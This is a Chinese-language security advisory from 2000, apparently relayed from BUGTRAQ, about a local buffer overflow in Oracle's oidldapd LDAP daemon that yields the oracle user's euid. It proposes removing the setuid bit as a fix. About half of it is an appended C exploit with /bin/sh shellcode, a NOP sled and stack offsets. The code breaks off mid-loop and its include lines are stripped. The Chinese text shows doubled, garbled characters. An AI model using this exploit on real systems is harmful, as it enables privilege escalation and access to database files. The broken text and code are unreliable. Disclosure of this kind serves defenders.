【發(fā)布日期】
2000-10-23
【來(lái)源】
BUGTRAQ@SECURITYFOCUS.COM,16-10-2000
pask@plazasite.com
【影響的系統(tǒng)】
目前僅在Linux上進(jìn)行了測(cè)試,但可能影響其他的系統(tǒng)。
【概述】
oidldapd是一個(gè)Oracle Internet Directory.Oracle Ldap 幽靈程序。
【詳細(xì)描述】
在oidldapd中有一個(gè)緩沖區(qū)溢出漏洞,本地用戶利用它可以得到oracle用戶的
euid。缺省安裝,oracle用戶擁有所有的數(shù)據(jù)庫(kù)文件。
【影響】
任何擁有本地訪問(wèn)權(quán)的用戶都可以獲得euid=oracle。
【解決方法】
可能用chmod -s即可。
【附錄-驗(yàn)證程序】
#include
#include
#define DEFAULT_OFFSET 13
#define DEFAULT_BUFFER_SIZE 700
#define NOP 0x90
#define ORACLE_HOME
"/usr/local/oracle/app/oracle/product/8.1.6"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i
|